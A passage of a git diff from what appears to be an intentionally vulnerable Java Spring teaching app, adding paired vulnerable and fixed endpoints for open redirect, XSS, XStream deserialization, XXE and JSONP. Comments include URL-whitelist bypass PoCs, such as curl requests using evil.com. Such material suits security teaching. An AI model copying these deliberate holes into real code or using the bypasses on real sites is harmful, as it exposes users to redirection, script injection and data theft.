javax.servlet.http.HttpServletResponse; + +@Controller +@RequestMapping("/test") +public class Test { + + @RequestMapping(value = "/") + @ResponseBody + private String Index(HttpServletResponse response, String empId) { + + System.out.println(empId); + Cookie cookie = new Cookie("XSRF-TOKEN", "123"); + cookie.setDomain("taobao.com"); + cookie.setMaxAge(-1); // forever time + response.addCookie(cookie); + return "success"; + } + +} diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java index ce52477c..26fc1652 100644 --- a/src/main/java/org/joychou/controller/URLRedirect.java +++ b/src/main/java/org/joychou/controller/URLRedirect.java @@ -10,30 +10,31 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; +import org.joychou.security.SecurityUtil; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2017.12.28 - * @desc: Java url redirect + * The vulnerability code and security code of Java url redirect. + * The security code is checking whitelist of url redirect. + * + * @author JoyChou (joychou@joychou.org) + * @version 2017.12.28 */ - @Controller @RequestMapping("/urlRedirect") public class URLRedirect { /** - * @disc: 存在URL重定向漏洞 - * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java + * http://localhost:8080/urlRedirect/redirect?url=http://www.baidu.com */ @GetMapping("/redirect") public String redirect(@RequestParam("url") String url) { return "redirect:" + url; } + /** - * @disc: 存在URL重定向漏洞 - * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java + * http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com */ @RequestMapping("/setHeader") @ResponseBody @@ -43,9 +44,9 @@ public static void setHeader(HttpServletRequest request, HttpServletResponse res response.setHeader("Location", url); } + /** - * @disc: 存在URL重定向漏洞 - * @fix: 添加URL白名单 https://github.com/JoyChou93/trident/blob/master/src/main/java/CheckURL.java + * http://localhost:8080/urlRedirect/sendRedirect?url=http://www.baidu.com */ @RequestMapping("/sendRedirect") @ResponseBody @@ -56,12 +57,12 @@ public static void sendRedirect(HttpServletRequest request, HttpServletResponse /** - * @usage: http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test - * @disc: 安全代码,没有URL重定向漏洞。 + * Safe code. Because it can only jump according to the path, it cannot jump according to other urls. + * http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test */ @RequestMapping("/forward") @ResponseBody - public static void forward(HttpServletRequest request, HttpServletResponse response) throws IOException{ + public static void forward(HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url"); RequestDispatcher rd =request.getRequestDispatcher(url); try{ @@ -71,9 +72,21 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo } } - @RequestMapping("/test") + + /** + * Safe code of sendRedirect. + * http://localhost:8080/urlRedirect/sendRedirect_seccode?url=http://www.baidu.com + */ + @RequestMapping("/sendRedirect_seccode") @ResponseBody - public static String test() { - return "test"; + public static void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException{ + String url = request.getParameter("url"); + String urlwhitelist[] = {"joychou.org", "joychou.com"}; + if (!SecurityUtil.checkURLbyEndsWith(url, urlwhitelist)) { + // Redirect to error page. + response.sendRedirect("https://test.joychou.org/error3.html"); + return; + } + response.sendRedirect(url); } } diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index fb67e013..94df0400 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -1,7 +1,6 @@ package org.joychou.controller; -import com.google.common.net.InternetDomainName; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; @@ -9,13 +8,16 @@ import javax.servlet.http.HttpServletRequest; import java.net.URI; import java.net.URL; +import java.util.ArrayList; import java.util.regex.Matcher; import java.util.regex.Pattern; /** - * date: 2018年08月23日 - * author: JoyChou - * desc: URL白名单绕过 + * The vulnerability code and security code of Java url whitelist. + * The security code is checking url whitelist. + * + * @author JoyChou (joychou@joychou.org) + * @version 2018.08.23 */ @Controller @@ -23,122 +25,204 @@ public class URLWhiteList { - private String urlwhitelist = "joychou.com"; + private String domainwhitelist[] = {"joychou.org", "joychou.com"}; - - // 绕过方法bypassjoychou.com + /** + * bypass poc: bypassjoychou.org + * http://localhost:8080/url/endswith?url=http://aaajoychou.org + * + */ @RequestMapping("/endswith") @ResponseBody public String endsWith(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); - System.out.println(url); URL u = new URL(url); String host = u.getHost().toLowerCase(); - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - if (rootDomain.endsWith(urlwhitelist)) { - return "URL is legal"; - } else { - return "URL is illegal"; + for (String domain: domainwhitelist){ + if (host.endsWith(domain)) { + return "Good url."; + } } + return "Bad url."; } - // 绕过方法joychou.com.bypass.com bypassjoychou.com + /** + * bypass poc: joychou.org.bypass.com or bypassjoychou.org. + * http://localhost:8080/url/contains?url=http://joychou.org.bypass.com http://bypassjoychou.org + * + */ @RequestMapping("/contains") @ResponseBody public String contains(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); URL u = new URL(url); String host = u.getHost().toLowerCase(); - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - if (rootDomain.contains(urlwhitelist)) { - return "URL is legal"; - } else { - return "URL is illegal"; + for (String domain: domainwhitelist){ + if (host.contains(domain)) { + return "Good url."; + } } + return "Bad url."; } - // 绕过方法bypassjoychou.com,代码功能和endsWith一样/ + + /** + * bypass poc: bypassjoychou.org. It's the same with endsWith. + * http://localhost:8080/url/regex?url=http://aaajoychou.org + * + */ @RequestMapping("/regex") @ResponseBody public String regex(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); URL u = new URL(url); String host = u.getHost().toLowerCase(); - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - Pattern p = Pattern.compile("joychou\\.com"); - Matcher m = p.matcher(rootDomain); + Pattern p = Pattern.compile("joychou\\.org$"); + Matcher m = p.matcher(host); if (m.find()) { - return "URL is legal"; + return "Good url."; } else { - return "URL is illegal"; + return "Bad url."; } } + /** + * bypass poc: joychou.org.bypass.com or bypassjoychou.org. It's the same with contains. + * http://localhost:8080/url/indexof?url=http://joychou.org.bypass.com http://bypassjoychou.org + * + */ @RequestMapping("/indexof") @ResponseBody public String indexOf(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); - // indexof返回-1,表示没有匹配到字符串 - if (-1 == url.indexOf(urlwhitelist)) { - return "URL is illegal"; - } else { - return "URL is legal"; + URL u = new URL(url); + String host = u.getHost(); + // If indexOf returns -1, it means that no string was found. + for (String domain: domainwhitelist){ + if (host.indexOf(domain) != -1) { + return "Good url."; + } } + return "Bad url."; } - // URL类getHost方法被绕过造成的安全问题 - // 绕过姿势:http://localhost:8080/url/urlVul?url=http://www.taobao.com%23@joychou.com/, URL类getHost为joychou.com - // 直接访问http://www.taobao.com#@joychou.com/,浏览器请求的是www.taobao.com - @RequestMapping("/urlVul") + /** + * The bypass of using java.net.URL to getHost. + * + * Bypass poc1: curl -v 'http://localhost:8080/url/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html' + * Bypass poc2: curl -v 'http://localhost:8080/url/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html' + * + * Detail: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass + */ + @RequestMapping("/url_bypass") @ResponseBody - public String urlVul(HttpServletRequest request) throws Exception{ + public String url_bypass(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); System.out.println("url: " + url); URL u = new URL(url); - // 判断是否是http(s)协议 + if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { - return "URL is not http or https"; + return "Url is not http or https"; } + String host = u.getHost().toLowerCase(); System.out.println("host: " + host); - // 如果非顶级域名后缀会报错 - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - if (rootDomain.equals(urlwhitelist)) { - return "URL is legal"; - } else { - return "URL is illegal"; + // endsWith . + for (String domain: domainwhitelist){ + if (host.endsWith("." + domain)) { + return "Good url."; + } } + + return "Bad url."; } - // 安全代码 - @RequestMapping("/seccode") + + /** + * First-level host whitelist. + * http://localhost:8080/url/seccode1?url=http://aa.taobao.com + * + */ + @RequestMapping("/seccode1") @ResponseBody - public String seccode(HttpServletRequest request) throws Exception{ + public String seccode1(HttpServletRequest request) throws Exception{ + + String whiteDomainlists[] = {"taobao.com", "tmall.com"}; String url = request.getParameter("url"); - System.out.println("url: " + url); + URI uri = new URI(url); - URL u = new URL(url); - // 判断是否是http(s)协议 - if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { - return "URL is not http or https"; + if (!url.startsWith("http://") && !url.startsWith("https://")) { + return "SecurityUtil is not http or https"; } - // 使用uri获取host + String host = uri.getHost().toLowerCase(); - System.out.println("host: " + host); - // 如果非顶级域名后缀会报错 - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); + // endsWith . + for (String domain: whiteDomainlists){ + if (host.endsWith("." + domain)) { + return "Good url."; + } + } - if (rootDomain.equals(urlwhitelist)) { - return "URL is legal"; - } else { - return "URL is illegal"; + return "Bad url."; + } + + /** + * Muti-level host whitelist. + * http://localhost:8080/url/seccode2?url=http://ccc.bbb.taobao.com + * + */ + @RequestMapping("/seccode2") + @ResponseBody + public String seccode2(HttpServletRequest request) throws Exception{ + String whiteDomainlists[] = {"aaa.taobao.com", "ccc.bbb.taobao.com"}; + String url = request.getParameter("url"); + + URI uri = new URI(url); + if (!url.startsWith("http://") && !url.startsWith("https://")) { + return "SecurityUtil is not http or https"; + } + String host = uri.getHost().toLowerCase(); + + // equals + for (String domain: whiteDomainlists){ + if (host.equals(domain)) { + return "Good url."; + } + } + return "Bad url."; + } + + /** + * Muti-level host whitelist. + * http://localhost:8080/url/seccode3?url=http://ccc.bbb.taobao.com + * + */ + @RequestMapping("/seccode3") + @ResponseBody + public String seccode3(HttpServletRequest request) throws Exception{ + + // Define muti-level host whitelist. + ArrayList whiteDomainlists = new ArrayList(); + whiteDomainlists.add("bbb.taobao.com"); + whiteDomainlists.add("ccc.bbb.taobao.com"); + + String url = request.getParameter("url"); + URI uri = new URI(url); + + if (!url.startsWith("http://") && !url.startsWith("https://")) { + return "SecurityUtil is not http or https"; + } + String host = uri.getHost().toLowerCase(); + if (whiteDomainlists.indexOf(host) != -1) { + return "Good url."; } + return "Bad url."; } } diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java index 4f3bdff5..fcd5d7f5 100644 --- a/src/main/java/org/joychou/controller/XSS.java +++ b/src/main/java/org/joychou/controller/XSS.java @@ -1,30 +1,85 @@ package org.joychou.controller; import org.apache.commons.lang.StringUtils; +import org.joychou.dao.User; +import org.joychou.mapper.UserMapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CookieValue; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; +import javax.annotation.Resource; +import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.Statement; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.01.02 - * @desc: xss vuls code + * @author JoyChou (joychou@joychou.org) + * @date 2018.01.02 + * @desc XSS vuls code */ @Controller @RequestMapping("/xss") public class XSS { - @RequestMapping("/print") + + /** + * Vul Code. + * ReflectXSS + * http://localhost:8080/xss/reflect?xss= + * + * @param xss unescape string + */ + @RequestMapping("/reflect") + @ResponseBody + public static String reflect(String xss) + { + return xss; + } + + /** + * Vul Code. + * StoredXSS Step1 + * http://localhost:8080/xss/stored/store?xss= + * + * @param xss unescape string + */ + @RequestMapping("/stored/store") @ResponseBody - public static String ssrf_URLConnection(HttpServletRequest request) + public String store(String xss, HttpServletResponse response) { - String con = request.getParameter("con"); - return con; + Cookie cookie = new Cookie("xss", xss); + response.addCookie(cookie); + return "Set param into cookie"; + } - // fix code - // return encode(con); + /** + * Vul Code. + * StoredXSS Step2 + * http://localhost:8080/xss/stored/show + * + * @param xss unescape string + */ + @RequestMapping("/stored/show") + @ResponseBody + public String show(@CookieValue("xss") String xss) + { + return xss; + } + /** + * safe Code. + * http://localhost:8080/xss/safe + * + */ + @RequestMapping("/safe") + @ResponseBody + public static String safe(String xss){ + return encode(xss); } public static String encode(String origin) { diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java new file mode 100644 index 00000000..20b96147 --- /dev/null +++ b/src/main/java/org/joychou/controller/XStreamRce.java @@ -0,0 +1,43 @@ +package org.joychou.controller; + +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.io.xml.DomDriver; +import org.joychou.dao.User; +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + + +@RestController +public class XStreamRce { + + /** + * Fix method: update xstream to 1.4.11 + * Xstream affected version: 1.4.10 or <= 1.4.6 + * Set Content-Type: application/xml + * + * @author JoyChou @2019-07-26 + */ + @PostMapping("/xstream") + public String parseXml(HttpServletRequest request) throws Exception{ + String xml = WebUtils.getRequestBody(request); + XStream xstream = new XStream(new DomDriver()); + xstream.fromXML(xml); + return "xstream"; + } + + public static void main(String[] args) throws Exception { + User user = new User(); + user.setId(0); + user.setUsername("admin"); + + XStream xstream = new XStream(new DomDriver()); + String xml = xstream.toXML(user); // Serialize + System.out.println(xml); + + user = (User)xstream.fromXML(xml); // Deserialize + System.out.println(user.getId() + ": " + user.getUsername() ); + } +} diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 1531ecf4..7347523e 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -1,10 +1,9 @@ package org.joychou.controller; - import org.dom4j.io.SAXReader; -import org.springframework.stereotype.*; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; + import org.w3c.dom.Document; import org.w3c.dom.Node; import org.w3c.dom.NodeList; @@ -12,6 +11,7 @@ import org.xml.sax.XMLReader; import java.io.*; import org.xml.sax.InputSource; + import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.SAXParserFactory; @@ -19,26 +19,25 @@ import org.xml.sax.helpers.DefaultHandler; import org.apache.commons.digester3.Digester; import org.jdom2.input.SAXBuilder; - +import org.joychou.util.WebUtils; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2017.12.22 - * @desc: Java XXE 漏洞代码,修复代码在注释里 + * Java xxe vul and safe code. + * + * @author JoyChou @2017-12-22 */ -@Controller +@RestController @RequestMapping("/xxe") public class XXE { @RequestMapping(value = "/xmlReader", method = RequestMethod.POST) - @ResponseBody - public String xxe_xmlReader(HttpServletRequest request) { + public String xxe_xmlReader(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); XMLReader xmlReader = XMLReaderFactory.createXMLReader(); - xmlReader.parse( new InputSource(new StringReader(xml_con)) ); // parse xml + xmlReader.parse(new InputSource(new StringReader(xml_con))); // parse xml return "ok"; } catch (Exception e) { System.out.println(e); @@ -48,10 +47,9 @@ public String xxe_xmlReader(HttpServletRequest request) { @RequestMapping(value = "/xmlReader_fix", method = RequestMethod.POST) - @ResponseBody - public String xxe_xmlReader_fix(HttpServletRequest request) { + public String xxe_xmlReader_fix(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); XMLReader xmlReader = XMLReaderFactory.createXMLReader(); @@ -60,7 +58,7 @@ public String xxe_xmlReader_fix(HttpServletRequest request) { xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //fix code end - xmlReader.parse( new InputSource(new StringReader(xml_con)) ); // parse xml + xmlReader.parse(new InputSource(new StringReader(xml_con))); // parse xml return "ok"; } catch (Exception e) { @@ -71,14 +69,13 @@ public String xxe_xmlReader_fix(HttpServletRequest request) { @RequestMapping(value = "/SAXBuilder", method = RequestMethod.POST) - @ResponseBody - public String xxe_SAXBuilder(HttpServletRequest request) { + public String xxe_SAXBuilder(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); SAXBuilder builder = new SAXBuilder(); - org.jdom2.Document document = builder.build( new InputSource(new StringReader(xml_con)) ); // cause xxe + org.jdom2.Document document = builder.build(new InputSource(new StringReader(xml_con))); // cause xxe return "ok"; } catch (Exception e) { System.out.println(e); @@ -87,34 +84,31 @@ public String xxe_SAXBuilder(HttpServletRequest request) { } @RequestMapping(value = "/SAXBuilder_fix", method = RequestMethod.POST) - @ResponseBody - public String xxe_SAXBuilder_fix(HttpServletRequest request) { + public String xxe_SAXBuilder_fix(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); builder.setFeature("http://xml.org/sax/features/external-general-entities", false); builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - org.jdom2.Document document = builder.build( new InputSource(new StringReader(xml_con)) ); + org.jdom2.Document document = builder.build(new InputSource(new StringReader(xml_con))); return "ok"; } catch (Exception e) { - System.out.println(e); return "except"; } } @RequestMapping(value = "/SAXReader", method = RequestMethod.POST) - @ResponseBody - public String xxe_SAXReader(HttpServletRequest request) { + public String xxe_SAXReader(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); SAXReader reader = new SAXReader(); - org.dom4j.Document document = reader.read( new InputSource(new StringReader(xml_con)) ); // cause xxe + org.dom4j.Document document = reader.read(new InputSource(new StringReader(xml_con))); // cause xxe return "ok"; } catch (Exception e) { @@ -124,17 +118,16 @@ public String xxe_SAXReader(HttpServletRequest request) { } @RequestMapping(value = "/SAXReader_fix", method = RequestMethod.POST) - @ResponseBody - public String xxe_SAXReader_fix(HttpServletRequest request) { + public String xxe_SAXReader_fix(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); SAXReader reader = new SAXReader(); reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - org.dom4j.Document document = reader.read( new InputSource(new StringReader(xml_con)) ); + org.dom4j.Document document = reader.read(new InputSource(new StringReader(xml_con))); return "ok"; } catch (Exception e) { @@ -144,10 +137,9 @@ public String xxe_SAXReader_fix(HttpServletRequest request) { } @RequestMapping(value = "/SAXParser", method = RequestMethod.POST) - @ResponseBody public String xxe_SAXParser(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); SAXParserFactory spf = SAXParserFactory.newInstance(); @@ -163,10 +155,9 @@ public String xxe_SAXParser(HttpServletRequest request) { @RequestMapping(value = "/SAXParser_fix", method = RequestMethod.POST) - @ResponseBody public String xxe_SAXParser_fix(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); SAXParserFactory spf = SAXParserFactory.newInstance(); @@ -184,10 +175,9 @@ public String xxe_SAXParser_fix(HttpServletRequest request) { @RequestMapping(value = "/Digester", method = RequestMethod.POST) - @ResponseBody public String xxe_Digester(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); Digester digester = new Digester(); @@ -201,10 +191,9 @@ public String xxe_Digester(HttpServletRequest request) { } @RequestMapping(value = "/Digester_fix", method = RequestMethod.POST) - @ResponseBody public String xxe_Digester_fix(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); Digester digester = new Digester(); @@ -223,10 +212,9 @@ public String xxe_Digester_fix(HttpServletRequest request) { // 有回显的XXE @RequestMapping(value = "/DocumentBuilder_return", method = RequestMethod.POST) - @ResponseBody public String xxeDocumentBuilderReturn(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); @@ -243,7 +231,7 @@ public String xxeDocumentBuilderReturn(HttpServletRequest request) { NodeList child = rootNode.getChildNodes(); for (int j = 0; j < child.getLength(); j++) { Node node = child.item(j); - buf.append( node.getNodeName() + ": " + node.getTextContent() + "\n" ); + buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n"); } } sr.close(); @@ -257,10 +245,9 @@ public String xxeDocumentBuilderReturn(HttpServletRequest request) { @RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST) - @ResponseBody public String DocumentBuilder(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); @@ -278,8 +265,8 @@ public String DocumentBuilder(HttpServletRequest request) { for (int j = 0; j < child.getLength(); j++) { Node node = child.item(j); // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。 - if(child.item(j).getNodeType() == Node.ELEMENT_NODE) { - result.append( node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n" ); + if (child.item(j).getNodeType() == Node.ELEMENT_NODE) { + result.append(node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n"); } } } @@ -294,10 +281,9 @@ public String DocumentBuilder(HttpServletRequest request) { @RequestMapping(value = "/DocumentBuilder_fix", method = RequestMethod.POST) - @ResponseBody public String xxe_DocumentBuilder_fix(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); @@ -319,10 +305,9 @@ public String xxe_DocumentBuilder_fix(HttpServletRequest request) { @RequestMapping(value = "/DocumentBuilder_xinclude", method = RequestMethod.POST) - @ResponseBody public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); @@ -356,10 +341,9 @@ public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) { @RequestMapping(value = "/DocumentBuilder_xinclude_fix", method = RequestMethod.POST) - @ResponseBody public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) { try { - String xml_con = getBody(request); + String xml_con = WebUtils.getRequestBody(request); System.out.println(xml_con); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); @@ -394,22 +378,46 @@ public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) { } } - // 获取body数据 - private String getBody(HttpServletRequest request) throws IOException { - InputStream in = request.getInputStream(); - BufferedReader br = new BufferedReader(new InputStreamReader(in)); - StringBuffer sb = new StringBuffer(""); - String temp; - while ((temp = br.readLine()) != null) { - sb.append(temp); - } - if (in != null) { - in.close(); + + @PostMapping("/XMLReader/vul") + public String XMLReaderVul(HttpServletRequest request) { + try { + String xml_con = WebUtils.getRequestBody(request); + System.out.println(xml_con); + SAXParserFactory spf = SAXParserFactory.newInstance(); + SAXParser saxParser = spf.newSAXParser(); + XMLReader xmlReader = saxParser.getXMLReader(); + xmlReader.parse(new InputSource(new StringReader(xml_con))); + return "test"; + } catch (Exception e) { + System.out.println(e.toString()); + return "except"; } - if (br != null) { - br.close(); + } + + + @PostMapping("/XMLReader/fixed") + public String XMLReaderSec(HttpServletRequest request) { + try { + String xml_con = WebUtils.getRequestBody(request); + System.out.println(xml_con); + SAXParserFactory spf = SAXParserFactory.newInstance(); + SAXParser saxParser = spf.newSAXParser(); + XMLReader xmlReader = saxParser.getXMLReader(); + xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); + xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + xmlReader.parse(new InputSource(new StringReader(xml_con))); + return "test"; + } catch (Exception e) { + System.out.println(e.toString()); + return "except"; } - return sb.toString(); } -} + + public static void main(String[] args) throws Exception { + + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java new file mode 100644 index 00000000..34980530 --- /dev/null +++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java @@ -0,0 +1,130 @@ +package org.joychou.controller.jsonp; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; + +import com.netflix.ribbon.proxy.annotation.Http; +import org.joychou.security.SecurityUtil; +import org.springframework.http.MediaType; +import org.springframework.security.web.csrf.CsrfToken; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.view.json.MappingJackson2JsonView; + +import javax.servlet.http.HttpServletRequest; +import java.security.Principal; +import java.util.HashMap; +import java.util.Map; + + +/** + * @author JoyChou (joychou@joychou.org) @ 2018.10.24 + * https://github.com/JoyChou93/java-sec-code/wiki/JSONP + */ + +@RestController +@RequestMapping("/jsonp") +public class JSONP { + + private static String[] urlwhitelist = {"joychou.com", "joychou.org"}; + + + // get current login username + public static String getUserInfo2JsonStr(HttpServletRequest request) { + Principal principal = request.getUserPrincipal(); + + String username = principal.getName(); + + Map m = new HashMap<>(); + m.put("Username", username); + + return JSON.toJSONString(m); + } + + /** + * Set the response content-type to application/javascript. + *

+ * http://localhost:8080/jsonp/referer?callback=test + */ + @RequestMapping(value = "/referer", produces = "application/javascript") + private String referer(HttpServletRequest request) { + String callback = request.getParameter("callback"); + return callback + "(" + getUserInfo2JsonStr(request) + ")"; + } + + /** + * Direct access does not check Referer, non-direct access check referer. + * Developer like to do jsonp testing like this. + *

+ * http://localhost:8080/jsonp/emptyReferer?callback=test + */ + @RequestMapping(value = "/emptyReferer", produces = "application/javascript") + private String emptyReferer(HttpServletRequest request) { + String referer = request.getHeader("referer"); + + if (null != referer && !SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { + return "error"; + } + + String callback = request.getParameter("callback"); + return callback + "(" + getUserInfo2JsonStr(request) + ")"; + } + + /** + * Adding callback or cback on parameter can automatically return jsonp data. + * http://localhost:8080/jsonp/advice?callback=test + * http://localhost:8080/jsonp/advice?_callback=test + * + * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully. + * Such as JSONOjbect or JavaBean. String type cannot be used. + */ + @RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE) + public JSONObject advice(HttpServletRequest request) { + return JSON.parseObject(getUserInfo2JsonStr(request)); + } + + + /** + * http://localhost:8080/jsonp/mappingJackson2JsonView?callback=test + * Reference: https://p0sec.net/index.php/archives/122/ from p0 + * Affected version: java-sec-code test case version: 4.3.6 + * - Spring Framework 5.0 to 5.0.6 + * - Spring Framework 4.1 to 4.3.17 + */ + @RequestMapping(value = "/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE) + public ModelAndView mappingJackson2JsonView(HttpServletRequest req) { + ModelAndView view = new ModelAndView(new MappingJackson2JsonView()); + Principal principal = req.getUserPrincipal(); + view.addObject("username", principal.getName() ); + return view; + } + + + /** + * Safe code. + * http://localhost:8080/jsonp/sec?callback=test + */ + @RequestMapping(value = "/sec", produces = "application/javascript") + private String safecode(HttpServletRequest request) { + String referer = request.getHeader("referer"); + + if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { + return "error"; + } + + String callback = request.getParameter("callback"); + return callback + "(" + getUserInfo2JsonStr(request) + ")"; + } + + + /** + * http://localhost:8080/jsonp/getToken + * + * @return token {"token":"115329a7-3a85-4c31-9c02-02fa1bd1fdf8","parameterName":"_csrf","headerName":"X-XSRF-TOKEN"} + */ + @RequestMapping("/getToken") + public CsrfToken csrf(CsrfToken token) { + return token; + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java new file mode 100644 index 00000000..5463a5a5 --- /dev/null +++ b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java @@ -0,0 +1,18 @@ +package org.joychou.controller.jsonp; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.ControllerAdvice; +import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice; + +// AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead. +// Since Spring Framework 4.1 +// Springboot 2.1.0 RELEASE use spring framework 5.1.2 +@ControllerAdvice +public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice { + + // method of using @Value in constructor + public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callback) { + super(callback); // Can set multiple paramNames + } + +} diff --git a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java new file mode 100644 index 00000000..6cefe27f --- /dev/null +++ b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java @@ -0,0 +1,79 @@ +package org.joychou.controller.othervulns; + +import org.apache.poi.xssf.usermodel.XSSFCell; +import 